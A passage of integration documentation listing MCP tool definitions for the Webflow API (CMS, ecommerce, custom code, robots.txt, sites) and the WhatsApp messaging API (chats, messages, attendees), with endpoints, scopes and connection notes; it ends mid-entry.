webflow_get_collections_by_collection_id_items_live (read) — List Live Collection Items. List all published items in a collection. GET /v2/collections/{collection_id}/items/live GET /api/v1/webflow/collections/{collection_id}/items/live. Scopes: cms:read. webflow_get_collections_by_sku_collection_id_items_by_sku_id_inventory (read) — List Inventory. List the current inventory levels for a particular SKU item. GET /v2/collections/{sku_collection_id}/items/{sku_id}/inventory GET /api/v1/webflow/collections/{sku_collection_id}/items/{sku_id}/inventory. Scopes: ecommerce:read. webflow_get_form_submissions_by_form_submission_id (read) — Get Form Submission. Get information about a given form submissio. GET /v2/form_submissions/{form_submission_id} GET /api/v1/webflow/form_submissions/{form_submission_id}. Scopes: forms:read. webflow_get_forms_by_form_id (read) — Get Form Schema. Get information about a given form. GET /v2/forms/{form_id} GET /api/v1/webflow/forms/{form_id}. Scopes: forms:read. webflow_get_forms_by_form_id_submissions (read) — List Form Submissions. List form submissions for a given form. GET /v2/forms/{form_id}/submissions GET /api/v1/webflow/forms/{form_id}/submissions. Scopes: forms:read. webflow_get_pages_by_page_id (read) — Get Page Metadata. Get metadata information for a single page. GET /v2/pages/{page_id} GET /api/v1/webflow/pages/{page_id}. Scopes: pages:read. webflow_get_pages_by_page_id_custom_code (read) — Get Custom Code. Get all scripts applied to a page. GET /v2/pages/{page_id}/custom_code GET /api/v1/webflow/pages/{page_id}/custom_code. Scopes: custom_code:read. webflow_get_pages_by_page_id_dom (read) — Get Page Content. Get text and component instance content from a static page. Localization. GET /v2/pages/{page_id}/dom GET /api/v1/webflow/pages/{page_id}/dom. Scopes: pages:read. webflow_get_sites (read) — List Sites. List of all sites the provided access token is able to access. GET /v2/sites GET /api/v1/webflow/sites. Scopes: sites:read. webflow_get_sites_by_site_id (read) — Get Site. Get details of a site. GET /v2/sites/{site_id} GET /api/v1/webflow/sites/{site_id}. Scopes: sites:read. webflow_get_sites_by_site_id_activity_logs (read) — Get Site Activity Logs. Retrieve Activity Logs for a specific Site. Required scope: site_activity:read. GET /v2/sites/{site_id}/activity_logs GET /api/v1/webflow/sites/{site_id}/activity_logs. Scopes: site_activity:read. webflow_get_sites_by_site_id_analyze_reports_time_on_page (read) — Get Time On Page Report. Returns the average time on page over a time window — as a single aggregate value, or bucketed by day or week when timeseries is supplied. GET /v2/sites/{site_id}/analyze/reports/time_on_page GET /api/v1/webflow/sites/{site_id}/analyze/reports/time_on_page. Scopes: sites:read. webflow_get_sites_by_site_id_analyze_reports_top_dimensions (read) — Get Top Dimensions Report. GET /v2/sites/{site_id}/analyze/reports/top_dimensions GET /api/v1/webflow/sites/{site_id}/analyze/reports/top_dimensions. Scopes: sites:read. webflow_get_sites_by_site_id_analyze_reports_top_events (read) — Get Top Events Report. Returns the top events over a time window, ranked by how often they occurred. GET /v2/sites/{site_id}/analyze/reports/top_events GET /api/v1/webflow/sites/{site_id}/analyze/reports/top_events. Scopes: sites:read. webflow_get_sites_by_site_id_analyze_reports_top_pages (read) — Get Top Pages Report. Returns the most-visited pages over a time window, ranked by sortBy (sessions, users, or pageviews). Each row carries all three scope counts; sortBy only governs ordering. GET /v2/sites/{site_id}/analyze/reports/top_pages GET /api/v1/webflow/sites/{site_id}/analyze/reports/top_pages. Scopes: sites:read. webflow_get_sites_by_site_id_analyze_reports_traffic (read) — Get Traffic Report. Returns a daily time series of a single metric — sessions, users, or pageviews — over a time window. GET /v2/sites/{site_id}/analyze/reports/traffic GET /api/v1/webflow/sites/{site_id}/analyze/reports/traffic. Scopes: sites:read. webflow_get_sites_by_site_id_asset_folders (read) — List Asset Folders. List Asset Folders within a given site. GET /v2/sites/{site_id}/asset_folders GET /api/v1/webflow/sites/{site_id}/asset_folders. Scopes: assets:read. webflow_get_sites_by_site_id_assets (read) — List Assets. List of assets uploaded to a site. GET /v2/sites/{site_id}/assets GET /api/v1/webflow/sites/{site_id}/assets. Scopes: assets:read. webflow_get_sites_by_site_id_collections (read) — List Collections. List of all Collections within a Site. GET /v2/sites/{site_id}/collections GET /api/v1/webflow/sites/{site_id}/collections. Scopes: cms:read. webflow_get_sites_by_site_id_comments (read) — List Comment Threads. List all comment threads for a site. GET /v2/sites/{site_id}/comments GET /api/v1/webflow/sites/{site_id}/comments. Scopes: comments:read. webflow_get_sites_by_site_id_comments_by_comment_thread_id (read) — Get Comment Thread. Get details of a specific comment thread. GET /v2/sites/{site_id}/comments/{comment_thread_id} GET /api/v1/webflow/sites/{site_id}/comments/{comment_thread_id}. Scopes: comments:read. webflow_get_sites_by_site_id_comments_by_comment_thread_id_replies (read) — List Comment Replies. List all replies to a specific comment thread. GET /v2/sites/{site_id}/comments/{comment_thread_id}/replies GET /api/v1/webflow/sites/{site_id}/comments/{comment_thread_id}/replies. Scopes: comments:read. webflow_get_sites_by_site_id_components (read) — List Components. List of all components for a site. GET /v2/sites/{site_id}/components GET /api/v1/webflow/sites/{site_id}/components. Scopes: components:read. webflow_get_sites_by_site_id_components_by_component_id_dom (read) — Get Component Content. Get static content from a component definition. This includes text nodes, image nodes, select nodes, text input nodes, submit button nodes, and nested component instances. GET /v2/sites/{site_id}/components/{component_id}/dom GET /api/v1/webflow/sites/{site_id}/components/{component_id}/dom. Scopes: components:read. webflow_get_sites_by_site_id_components_by_component_id_properties (read) — Get Component Properties. Get the default property values of a component definition. GET /v2/sites/{site_id}/components/{component_id}/properties GET /api/v1/webflow/sites/{site_id}/components/{component_id}/properties. Scopes: components:read. webflow_get_sites_by_site_id_custom_code (read) — Get Custom Code. Get all scripts applied to a site by the App. GET /v2/sites/{site_id}/custom_code GET /api/v1/webflow/sites/{site_id}/custom_code. Scopes: custom_code:read. webflow_get_sites_by_site_id_custom_code_blocks (read) — List Custom Code Blocks. Get a list of scripts that have been applied to a site and/or individual pages. GET /v2/sites/{site_id}/custom_code/blocks GET /api/v1/webflow/sites/{site_id}/custom_code/blocks. Scopes: custom_code:read. webflow_get_sites_by_site_id_custom_domains (read) — Get Custom Domains. Get a list of all custom domains related to site. GET /v2/sites/{site_id}/custom_domains GET /api/v1/webflow/sites/{site_id}/custom_domains. Scopes: sites:read. webflow_get_sites_by_site_id_custom_fonts (read) — List custom fonts. List the custom fonts uploaded to a site. GET /v2/sites/{site_id}/custom_fonts GET /api/v1/webflow/sites/{site_id}/custom_fonts. Scopes: sites:read. webflow_get_sites_by_site_id_custom_fonts_by_font_id (read) — Get custom font. Get details about a custom font on a site. GET /v2/sites/{site_id}/custom_fonts/{font_id} GET /api/v1/webflow/sites/{site_id}/custom_fonts/{font_id}. Scopes: sites:read. webflow_get_sites_by_site_id_ecommerce_settings (read) — Get Ecommerce Settings. Retrieve ecommerce settings for a site. GET /v2/sites/{site_id}/ecommerce/settings GET /api/v1/webflow/sites/{site_id}/ecommerce/settings. Scopes: ecommerce:read. webflow_get_sites_by_site_id_form_submissions (read) — List Form Submissions by Site. List all form submissions for a given site with the ability to filter submissions by a centralized elementId. GET /v2/sites/{site_id}/form_submissions GET /api/v1/webflow/sites/{site_id}/form_submissions. Scopes: forms:read. webflow_get_sites_by_site_id_form_submissions_by_form_submission_id (read) — Get Form Submission by Site. Get information about a form submission within a specific site. GET /v2/sites/{site_id}/form_submissions/{form_submission_id} GET /api/v1/webflow/sites/{site_id}/form_submissions/{form_submission_id}. Scopes: forms:read. webflow_get_sites_by_site_id_forms (read) — List Forms. List forms for a given site. GET /v2/sites/{site_id}/forms GET /api/v1/webflow/sites/{site_id}/forms. Scopes: forms:read. webflow_get_sites_by_site_id_forms_by_form_id_submissions (read) — List Form Submissions. List form submissions for a given form ID within a specific site. GET /v2/sites/{site_id}/forms/{form_id}/submissions GET /api/v1/webflow/sites/{site_id}/forms/{form_id}/submissions. Scopes: forms:read. webflow_get_sites_by_site_id_integrations_google_tags (read) — List Google Tags. List all Google Tag IDs configured for a site, sorted by order. Required scope: sites:read. GET /v2/sites/{site_id}/integrations/google_tags GET /api/v1/webflow/sites/{site_id}/integrations/google_tags. Scopes: sites:read. webflow_get_sites_by_site_id_orders (read) — List Orders. List all orders created for a given site. GET /v2/sites/{site_id}/orders GET /api/v1/webflow/sites/{site_id}/orders. Scopes: ecommerce:read. webflow_get_sites_by_site_id_orders_by_order_id (read) — Get Order. Retrieve a single product by its ID. All of its SKUs will also be retrieved. GET /v2/sites/{site_id}/orders/{order_id} GET /api/v1/webflow/sites/{site_id}/orders/{order_id}. Scopes: ecommerce:read. webflow_get_sites_by_site_id_pages (read) — List Pages. List of all pages for a site. GET /v2/sites/{site_id}/pages GET /api/v1/webflow/sites/{site_id}/pages. Scopes: pages:read. webflow_get_sites_by_site_id_plan (read) — Get Site Plan. Get site plan details for the specified Site. GET /v2/sites/{site_id}/plan GET /api/v1/webflow/sites/{site_id}/plan. Scopes: sites:read. webflow_get_sites_by_site_id_products (read) — List Products & SKUs. Retrieve all products for a site. Use limit and offset to page through all products with subsequent requests. All SKUs for each product will also be fetched and returned. GET /v2/sites/{site_id}/products GET /api/v1/webflow/sites/{site_id}/products. Scopes: ecommerce:read. webflow_get_sites_by_site_id_products_by_product_id (read) — Get Product and SKUs. Retrieve a single product by its ID. All of its SKUs will also be retrieved. GET /v2/sites/{site_id}/products/{product_id} GET /api/v1/webflow/sites/{site_id}/products/{product_id}. Scopes: ecommerce:read. webflow_get_sites_by_site_id_redirects (read) — Get 301 redirects. Fetch a list of all 301 redirect rules configured for a specific site. GET /v2/sites/{site_id}/redirects GET /api/v1/webflow/sites/{site_id}/redirects. Scopes: sites:read. webflow_get_sites_by_site_id_registered_scripts (read) — Get Registered Scripts. Get a list of scripts that have been registered to a site. A site can have a maximum of 800 registered scripts. GET /v2/sites/{site_id}/registered_scripts GET /api/v1/webflow/sites/{site_id}/registered_scripts. Scopes: custom_code:read. webflow_get_sites_by_site_id_robots_txt (read) — Get robots.txt. Retrieve the robots.txt configuration for various user agents. Required scope: site_config:read. GET /v2/sites/{site_id}/robots_txt GET /api/v1/webflow/sites/{site_id}/robots_txt. Scopes: site_config:read. webflow_get_sites_by_site_id_webhooks (read) — List Webhooks. List all App-created Webhooks registered for a given site. GET /v2/sites/{site_id}/webhooks GET /api/v1/webflow/sites/{site_id}/webhooks. Scopes: sites:read. webflow_get_token_authorized_by (read) — Get Authorization User Info. Information about the Authorized User. GET /v2/token/authorized_by GET /api/v1/webflow/token/authorized_by. Scopes: authorized_user:read. webflow_get_token_introspect (read) — Get Authorization Info. Information about the authorization token. GET /v2/token/introspect GET /api/v1/webflow/token/introspect. Scopes: none. webflow_get_webhooks_by_webhook_id (read) — Get Webhook. Get a specific Webhook instance Required scope: sites:read. GET /v2/webhooks/{webhook_id} GET /api/v1/webflow/webhooks/{webhook_id}. Scopes: none. webflow_get_workspaces_by_workspace_id_or_slug_audit_logs (read) — Get Workspace Audit Logs. Get audit logs for a workspace. GET /v2/workspaces/{workspace_id_or_slug}/audit_logs GET /api/v1/webflow/workspaces/{workspace_id_or_slug}/audit_logs. Scopes: workspace_activity:read. webflow_patch_assets_by_asset_id (write) — Update Asset. Update details of an Asset. PATCH /v2/assets/{asset_id} PATCH /api/v1/webflow/assets/{asset_id}. Scopes: assets:write. webflow_patch_collections_by_collection_id (write) — Update Collection. PATCH /v2/collections/{collection_id} PATCH /api/v1/webflow/collections/{collection_id}. Scopes: cms:write. webflow_patch_collections_by_collection_id_fields_by_field_id (write) — Update Collection Field. Update a custom field in a collection. PATCH /v2/collections/{collection_id}/fields/{field_id} PATCH /api/v1/webflow/collections/{collection_id}/fields/{field_id}. Scopes: cms:write. webflow_patch_collections_by_collection_id_items (write) — Update Collection Items. Update a single item or multiple items in a Collection. The limit for this endpoint is 100 items. PATCH /v2/collections/{collection_id}/items PATCH /api/v1/webflow/collections/{collection_id}/items. Scopes: cms:write. webflow_patch_collections_by_collection_id_items_by_item_id (write) — Update Collection Item. Update a selected Item in a Collection. PATCH /v2/collections/{collection_id}/items/{item_id} PATCH /api/v1/webflow/collections/{collection_id}/items/{item_id}. Scopes: cms:write. webflow_patch_collections_by_collection_id_items_by_item_id_live (write) — Update Live Collection Item. Update a selected live Item in a Collection. The updates for this Item will be published to the live site. PATCH /v2/collections/{collection_id}/items/{item_id}/live PATCH /api/v1/webflow/collections/{collection_id}/items/{item_id}/live. Scopes: cms:write. webflow_patch_collections_by_collection_id_items_live (write) — Update Live Collection Items. Update a single published item or multiple published items (up to 100) in a Collection. PATCH /v2/collections/{collection_id}/items/live PATCH /api/v1/webflow/collections/{collection_id}/items/live. Scopes: cms:write. webflow_patch_collections_by_sku_collection_id_items_by_sku_id_inventory (write) — Update Item Inventory. Updates the current inventory levels for a particular SKU item. PATCH /v2/collections/{sku_collection_id}/items/{sku_id}/inventory PATCH /api/v1/webflow/collections/{sku_collection_id}/items/{sku_id}/inventory. Scopes: ecommerce:write. webflow_patch_form_submissions_by_form_submission_id (write) — Modify Form Submission. Update hidden fields on a form submission. PATCH /v2/form_submissions/{form_submission_id} PATCH /api/v1/webflow/form_submissions/{form_submission_id}. Scopes: forms:write. webflow_patch_sites_by_site_id (write) — Update Site. Update a site. PATCH /v2/sites/{site_id} PATCH /api/v1/webflow/sites/{site_id}. Scopes: sites:write. webflow_patch_sites_by_site_id_comments_by_comment_thread_id (write) — Resolve Comment Thread. Resolve or unresolve a comment thread. PATCH /v2/sites/{site_id}/comments/{comment_thread_id} PATCH /api/v1/webflow/sites/{site_id}/comments/{comment_thread_id}. Scopes: comments:write. webflow_patch_sites_by_site_id_custom_fonts_by_font_id (write) — Update custom font. Update the metadata of a custom font. The font binary is not changed by this endpoint. To replace the binary, use Replace custom font file. PATCH /v2/sites/{site_id}/custom_fonts/{font_id} PATCH /api/v1/webflow/sites/{site_id}/custom_fonts/{font_id}. Scopes: sites:write. webflow_patch_sites_by_site_id_form_submissions_by_form_submission_id (write) — Modify Form Submission by Site. Update hidden fields on a form submission within a specific site. PATCH /v2/sites/{site_id}/form_submissions/{form_submission_id} PATCH /api/v1/webflow/sites/{site_id}/form_submissions/{form_submission_id}. Scopes: forms:write. webflow_patch_sites_by_site_id_integrations_google_tags (write) — Update Google Tag. Add or update Google Tag IDs for a site. Existing tags not referenced in the request are preserved. PATCH /v2/sites/{site_id}/integrations/google_tags PATCH /api/v1/webflow/sites/{site_id}/integrations/google_tags. Scopes: sites:write. webflow_patch_sites_by_site_id_orders_by_order_id (write) — Update Order. This API lets you update the fields, comment, shippingProvider, and/or shippingTracking for a given order. All three fields can be updated simultaneously or independently. PATCH /v2/sites/{site_id}/orders/{order_id} PATCH /api/v1/webflow/sites/{site_id}/orders/{order_id}. Scopes: ecommerce:write. webflow_patch_sites_by_site_id_products_by_product_id (write) — Update Product. Update an existing Product. Updating an existing Product will set the product type to Advanced, which ensures all Product and SKU fields will be shown to users in the Designer. PATCH /v2/sites/{site_id}/products/{product_id} PATCH /api/v1/webflow/sites/{site_id}/products/{product_id}. Scopes: ecommerce:write. webflow_patch_sites_by_site_id_products_by_product_id_skus_by_sku_id (write) — Update SKU. Update a specified SKU. Updating an existing SKU will set the Product type to Advanced, which ensures all Product and SKU fields will be shown to users in the Designer. PATCH /v2/sites/{site_id}/products/{product_id}/skus/{sku_id} PATCH /api/v1/webflow/sites/{site_id}/products/{product_id}/skus/{sku_id}. Scopes: ecommerce:write. webflow_patch_sites_by_site_id_redirects_by_redirect_id (write) — Update 301 redirect. Update a 301 redirection rule from a site. Required scope: sites:write. PATCH /v2/sites/{site_id}/redirects/{redirect_id} PATCH /api/v1/webflow/sites/{site_id}/redirects/{redirect_id}. Scopes: sites:write. webflow_patch_sites_by_site_id_robots_txt (write) — Update robots.txt. Update the robots.txt configuration for various user agents. PATCH /v2/sites/{site_id}/robots_txt PATCH /api/v1/webflow/sites/{site_id}/robots_txt. Scopes: site_config:write. webflow_post_collections_by_collection_id_fields (write) — Create Collection Field. Create a custom field in a collection. Field validation is currently not available through the API. Bulk creation of fields is not supported with this endpoint. POST /v2/collections/{collection_id}/fields POST /api/v1/webflow/collections/{collection_id}/fields. Scopes: cms:write. webflow_post_collections_by_collection_id_items (write) — Create Collection Item(s). Create Item(s) in a Collection. This endpoint accepts two request shapes, and a request must use one or the other: - **Single item** — send fieldData at the top level. POST /v2/collections/{collection_id}/items POST /api/v1/webflow/collections/{collection_id}/items. Scopes: cms:write. webflow_post_collections_by_collection_id_items_bulk (write) — Create Collection Items. Create an item or multiple items in a CMS Collection across multiple corresponding locales. POST /v2/collections/{collection_id}/items/bulk POST /api/v1/webflow/collections/{collection_id}/items/bulk. Scopes: cms:write. webflow_post_collections_by_collection_id_items_live (write) — Create Live Collection Item(s). Create item(s) in a collection that will be immediately published to the live site. POST /v2/collections/{collection_id}/items/live POST /api/v1/webflow/collections/{collection_id}/items/live. Scopes: cms:write. webflow_post_collections_by_collection_id_items_publish (write) — Publish Collection Item. Publish an item or multiple items. POST /v2/collections/{collection_id}/items/publish POST /api/v1/webflow/collections/{collection_id}/items/publish. Scopes: cms:write. webflow_post_pages_by_page_id_dom (write) — Update Page Content. This endpoint updates content on a static page in **secondary locales**. It supports updating up to 1000 nodes in a single request. Before making updates: 1. POST /v2/pages/{page_id}/dom POST /api/v1/webflow/pages/{page_id}/dom. Scopes: pages:write. webflow_post_sites_by_site_id_asset_folders (write) — Create Asset Folder. Create an Asset Folder within a given site. POST /v2/sites/{site_id}/asset_folders POST /api/v1/webflow/sites/{site_id}/asset_folders. Scopes: assets:write. webflow_post_sites_by_site_id_assets (write) — Upload Asset. The first step in uploading an asset to a site. This endpoint generates a response with the following information: uploadUrl and uploadDetails. POST /v2/sites/{site_id}/assets POST /api/v1/webflow/sites/{site_id}/assets. Scopes: assets:write. webflow_post_sites_by_site_id_collections (write) — Create Collection. Create a Collection for a site with collection fields. Each collection includes the required _name_ and _slug_ fields, which are generated automatically. POST /v2/sites/{site_id}/collections POST /api/v1/webflow/sites/{site_id}/collections. Scopes: cms:write. webflow_post_sites_by_site_id_comments_by_comment_thread_id_replies (write) — Create Comment Reply. Create a reply to an existing comment thread. The reply author is always the user who authorized the OAuth token. POST /v2/sites/{site_id}/comments/{comment_thread_id}/replies POST /api/v1/webflow/sites/{site_id}/comments/{comment_thread_id}/replies. Scopes: comments:write. webflow_post_sites_by_site_id_components_by_component_id_dom (write) — Update Component Content. This endpoint updates content within a component defintion for **secondary locales**. It supports updating up to 1000 nodes in a single request. Before making updates: 1. POST /v2/sites/{site_id}/components/{component_id}/dom POST /api/v1/webflow/sites/{site_id}/components/{component_id}/dom. Scopes: components:write. webflow_post_sites_by_site_id_components_by_component_id_properties (write) — Update Component Properties. Update the default property values of a component definition in a specificed locale. Before making updates: 1. POST /v2/sites/{site_id}/components/{component_id}/properties POST /api/v1/webflow/sites/{site_id}/components/{component_id}/properties. Scopes: components:write. webflow_post_sites_by_site_id_custom_fonts (write) — Create custom font. Register a custom font on a site and get a presigned S3 URL to upload the font binary. The response includes a customFont object and an upload object. POST /v2/sites/{site_id}/custom_fonts POST /api/v1/webflow/sites/{site_id}/custom_fonts. Scopes: sites:write. webflow_post_sites_by_site_id_custom_fonts_batchcreate (write) — Batch create custom fonts. Register 1–25 custom fonts in a single request and get a presigned S3 URL for each one. POST /v2/sites/{site_id}/custom_fonts/batchCreate POST /api/v1/webflow/sites/{site_id}/custom_fonts/batchCreate. Scopes: sites:write. webflow_post_sites_by_site_id_custom_fonts_batchdelete (write) — Batch delete custom fonts. Delete 1-100 custom fonts in a single request. The response is always 200 OK for a valid request body. Per-font results are reported in the deleted and failed arrays. POST /v2/sites/{site_id}/custom_fonts/batchDelete POST /api/v1/webflow/sites/{site_id}/custom_fonts/batchDelete. Scopes: sites:write. webflow_post_sites_by_site_id_orders_by_order_id_fulfill (write) — Fulfill Order. Updates an order's status to fulfilled. POST /v2/sites/{site_id}/orders/{order_id}/fulfill POST /api/v1/webflow/sites/{site_id}/orders/{order_id}/fulfill. Scopes: ecommerce:write. webflow_post_sites_by_site_id_orders_by_order_id_refund (write) — Refund Order. This API will reverse a Stripe charge and refund an order back to a customer. It will also set the order's status to refunded. POST /v2/sites/{site_id}/orders/{order_id}/refund POST /api/v1/webflow/sites/{site_id}/orders/{order_id}/refund. Scopes: ecommerce:write. webflow_post_sites_by_site_id_orders_by_order_id_unfulfill (write) — Unfulfill Order. Updates an order's status to unfulfilled. POST /v2/sites/{site_id}/orders/{order_id}/unfulfill POST /api/v1/webflow/sites/{site_id}/orders/{order_id}/unfulfill. Scopes: ecommerce:write. webflow_post_sites_by_site_id_products (write) — Create Product & SKU. Create a new ecommerce product and defaultSKU. A product, at minimum, must have a single SKU. POST /v2/sites/{site_id}/products POST /api/v1/webflow/sites/{site_id}/products. Scopes: ecommerce:write. webflow_post_sites_by_site_id_products_by_product_id_skus (write) — Create SKUs. Create additional SKUs to manage every option and variant of your Product. POST /v2/sites/{site_id}/products/{product_id}/skus POST /api/v1/webflow/sites/{site_id}/products/{product_id}/skus. Scopes: ecommerce:write. webflow_post_sites_by_site_id_publish (write) — Publish Site. Publishes a site or an individual page to one or more domains. If multiple individual pages are published to staging, publishing from staging to production publishes all staged changes. POST /v2/sites/{site_id}/publish POST /api/v1/webflow/sites/{site_id}/publish. Scopes: sites:write. webflow_post_sites_by_site_id_redirects (write) — Create a 301 redirect. Add a new 301 redirection rule to a site. POST /v2/sites/{site_id}/redirects POST /api/v1/webflow/sites/{site_id}/redirects. Scopes: sites:write. webflow_post_sites_by_site_id_registered_scripts_hosted (write) — Register Script - Hosted. Register a hosted script to a site. POST /v2/sites/{site_id}/registered_scripts/hosted POST /api/v1/webflow/sites/{site_id}/registered_scripts/hosted. Scopes: custom_code:write. webflow_post_sites_by_site_id_registered_scripts_inline (write) — Register Script - Inline. Register an inline script to a site. Inline scripts are limited to 2000 characters. POST /v2/sites/{site_id}/registered_scripts/inline POST /api/v1/webflow/sites/{site_id}/registered_scripts/inline. Scopes: custom_code:write. webflow_post_sites_by_site_id_webhooks (write) — Create Webhook. Create a new Webhook. Limit of 75 registrations per triggerType, per site. POST /v2/sites/{site_id}/webhooks POST /api/v1/webflow/sites/{site_id}/webhooks. Scopes: sites:write. webflow_post_workspaces_by_workspace_id_sites (write) — Create Site. Create a site. POST /v2/workspaces/{workspace_id}/sites POST /api/v1/webflow/workspaces/{workspace_id}/sites. Scopes: sites:write. webflow_put_pages_by_page_id (write) — Update Page Metadata. Update Page-level metadata, including SEO and Open Graph fields. PUT /v2/pages/{page_id} PUT /api/v1/webflow/pages/{page_id}. Scopes: pages:write. webflow_put_pages_by_page_id_custom_code (write) — Add/Update Custom Code. Apply registered scripts to a page. PUT /v2/pages/{page_id}/custom_code PUT /api/v1/webflow/pages/{page_id}/custom_code. Scopes: custom_code:write. webflow_put_sites_by_site_id_custom_code (write) — Add/Update Custom Code. Apply registered scripts to a site. PUT /v2/sites/{site_id}/custom_code PUT /api/v1/webflow/sites/{site_id}/custom_code. Scopes: custom_code:write. webflow_put_sites_by_site_id_custom_fonts_by_font_id_file (write) — Replace custom font file. Replace the binary of an existing custom font while preserving its ID and any references to it. The upload handshake is identical to Create custom font. PUT /v2/sites/{site_id}/custom_fonts/{font_id}/file PUT /api/v1/webflow/sites/{site_id}/custom_fonts/{font_id}/file. Scopes: sites:write. webflow_put_sites_by_site_id_robots_txt (write) — Replace robots.txt. Replace the robots.txt configuration for various user agents. PUT /v2/sites/{site_id}/robots_txt PUT /api/v1/webflow/sites/{site_id}/robots_txt. Scopes: site_config:write. webflow_put_sites_by_site_id_well_known (write) — Set a well-known file. Upload a supported well-known file to a site. PUT /v2/sites/{site_id}/well_known PUT /api/v1/webflow/sites/{site_id}/well_known. Scopes: site_config:write. ================================================================================ ## WhatsApp URL: https://www.agenticfabriq.com/integrations/whatsapp Section: Integrated Tools WhatsApp — 22 MCP tools Provider key: whatsapp. Scopes: delete, read, write. Connect: AF hosted sign-in — your end user signs in to their account on an Agentic Fabriq page (a QR scan, a pairing code, or the provider’s own sign-in form); there is no credential to paste. SAME route as a pasted credential: POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url. Capabilities reports key_connect: true for these, and link_connect: true to tell you which screen the user will see. Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. whatsapp_delete_chats_by_chat_id (write, destructive) — Delete a chat. DELETE /api/v1/chats/{chat_id}. Delete a chat. Supported for WhatsApp and LinkedIn only. DELETE /api/v1/whatsapp/api/v1/chats/{chat_id}. Scopes: delete. whatsapp_delete_messages_by_message_id (write, destructive) — Delete a message. DELETE /api/v1/messages/{message_id}. Delete a message. Supported for WhatsApp and LinkedIn only. For LinkedIn, it is only possible within the first 60 minutes after the message is sent. DELETE /api/v1/whatsapp/api/v1/messages/{message_id}. Scopes: delete. whatsapp_get_chat_attendees (read) — List all attendees. GET /api/v1/chat_attendees. Returns a list of messaging attendees. Some optional parameters are available to filter the results. GET /api/v1/whatsapp/api/v1/chat_attendees. Scopes: read. whatsapp_get_chat_attendees_by_attendee_id_chats (read) — List all 1to1 chats for a given attendee. GET /api/v1/chat_attendees/{attendee_id}/chats. Returns a list of chats where a given attendee is involved. GET /api/v1/whatsapp/api/v1/chat_attendees/{attendee_id}/chats. Scopes: read. whatsapp_get_chat_attendees_by_attendee_id_sync (read) — Resynchronize chats for a given attendee. GET /api/v1/chat_attendees/{attendee_id}/sync. Starts or monitors the synchronization of all chats for a given attendee. GET /api/v1/whatsapp/api/v1/chat_attendees/{attendee_id}/sync. Scopes: read. whatsapp_get_chat_attendees_by_id (read) — Retrieve an attendee. GET /api/v1/chat_attendees/{id}. The id of the wanted attendee. GET /api/v1/whatsapp/api/v1/chat_attendees/{id}. Scopes: read. whatsapp_get_chat_attendees_by_id_picture (read) — Download a chat attendee picture. GET /api/v1/chat_attendees/{id}/picture. Download the profile picture of an attendee or picture of a group chat. GET /api/v1/whatsapp/api/v1/chat_attendees/{id}/picture. Scopes: read. whatsapp_get_chat_attendees_by_sender_id_messages (read) — List all messages for a given attendee. GET /api/v1/chat_attendees/{sender_id}/messages. Returns a list of messages where a given attendee is involved. GET /api/v1/whatsapp/api/v1/chat_attendees/{sender_id}/messages. Scopes: read. whatsapp_get_chats (read) — List all chats. GET /api/v1/chats. Returns a list of chats. Some optional parameters are available to filter the results. GET /api/v1/whatsapp/api/v1/chats. Scopes: read. whatsapp_get_chats_by_chat_id (read) — Retrieve a chat. GET /api/v1/chats/{chat_id}. Retrieve the details of a chat. GET /api/v1/whatsapp/api/v1/chats/{chat_id}. Scopes: read. whatsapp_get_chats_by_chat_id_attendees (read) — List all attendees from a chat. GET /api/v1/chats/{chat_id}/attendees. Returns a list of messaging attendees related to a given chat. Some optional parameters are available to filter the results. GET /api/v1/whatsapp/api/v1/chats/{chat_id}/attendees. Scopes: read. whatsapp_get_chats_by_chat_id_messages (read) — List all messages from a chat. GET /api/v1/chats/{chat_id}/messages. Returns a list of messages related to the given chat. Some parameters are available to filter the results. GET /api/v1/whatsapp/api/v1/chats/{chat_id}/messages. Scopes: read. whatsapp_get_chats_by_chat_id_sync (read) — Synchronize a conversation from its beginning. GET /api/v1/chats/{chat_id}/sync. This route can be used both to initiate a synchronization process and to monitor its status via regular polling. GET /api/v1/whatsapp/api/v1/chats/{chat_id}/sync. Scopes: read. whatsapp_get_messages (read) — List all messages. GET /api/v1/messages. Returns a list of messages. Some optional parameters are available to filter the results. GET /api/v1/whatsapp/api/v1/messages. Scopes: read. whatsapp_get_messages_by_message_id (read) — Retrieve a message. GET /api/v1/messages/{message_id}. Retrieve the details of a message. GET /api/v1/whatsapp/api/v1/messages/{message_id}. Scopes: read. whatsapp_get_messages_by_message_id_attachments_by_attachment_id (read) — Retrieve an attachment from a message. GET /api/v1/messages/{message_id}/attachments/{attachment_id}. Retrieve one of the attachment linked to a message. The provider answers this route with the file's raw bytes. This connection has no artifact transport, so the tool returns the file's content type and byte length instead of its contents. GET /api/v1/whatsapp/api/v1/messages/{message_id}/attachments/{attachment_id}. Scopes: read. whatsapp_patch_chats_by_chat_id (write) — Perform an action on a given chat. PATCH /api/v1/chats/{chat_id}. Perform an action like changing the read status, muting the chat, retrieving a group invite link, etc. PATCH /api/v1/whatsapp/api/v1/chats/{chat_id}. Scopes: write. whatsapp_patch_messages_by_message_id (write) — Edit a message. PATCH /api/v1/messages/{message_id}. Edit a message. Supported for WhatsApp and LinkedIn Classic only. WhatsApp may reject edits after an indicative 15-minute window following the original send time. LinkedIn Classic edits are only possible within the first 60 minutes after the message is sent. PATCH /api/v1/whatsapp/api/v1/messages/{message_id}. Scopes: write. whatsapp_post_chats (write, destructive) — Start a new chat. POST /api/v1/chats. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Start a new conversation with one or more attendee. Attachments are not supported on this connection: the messaging provider accepts this operation only as multipart/form-data, and its file properties (attachments, linkedin.follow_up.attachments, video_message, voice_message) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/whatsapp/api/v1/chats. Scopes: write. whatsapp_post_chats_by_chat_id_messages (write, destructive) — Send a message in a chat. POST /api/v1/chats/{chat_id}/messages. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Send a message to the given chat with the possibility to link some attachments. Attachments are not supported on this connection: the messaging provider accepts this operation only as multipart/form-data, and its file properties (attachments, video_message, voice_message) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/whatsapp/api/v1/chats/{chat_id}/messages. Scopes: write. whatsapp_post_messages_by_message_id_forward (write, destructive) — Forward a message. 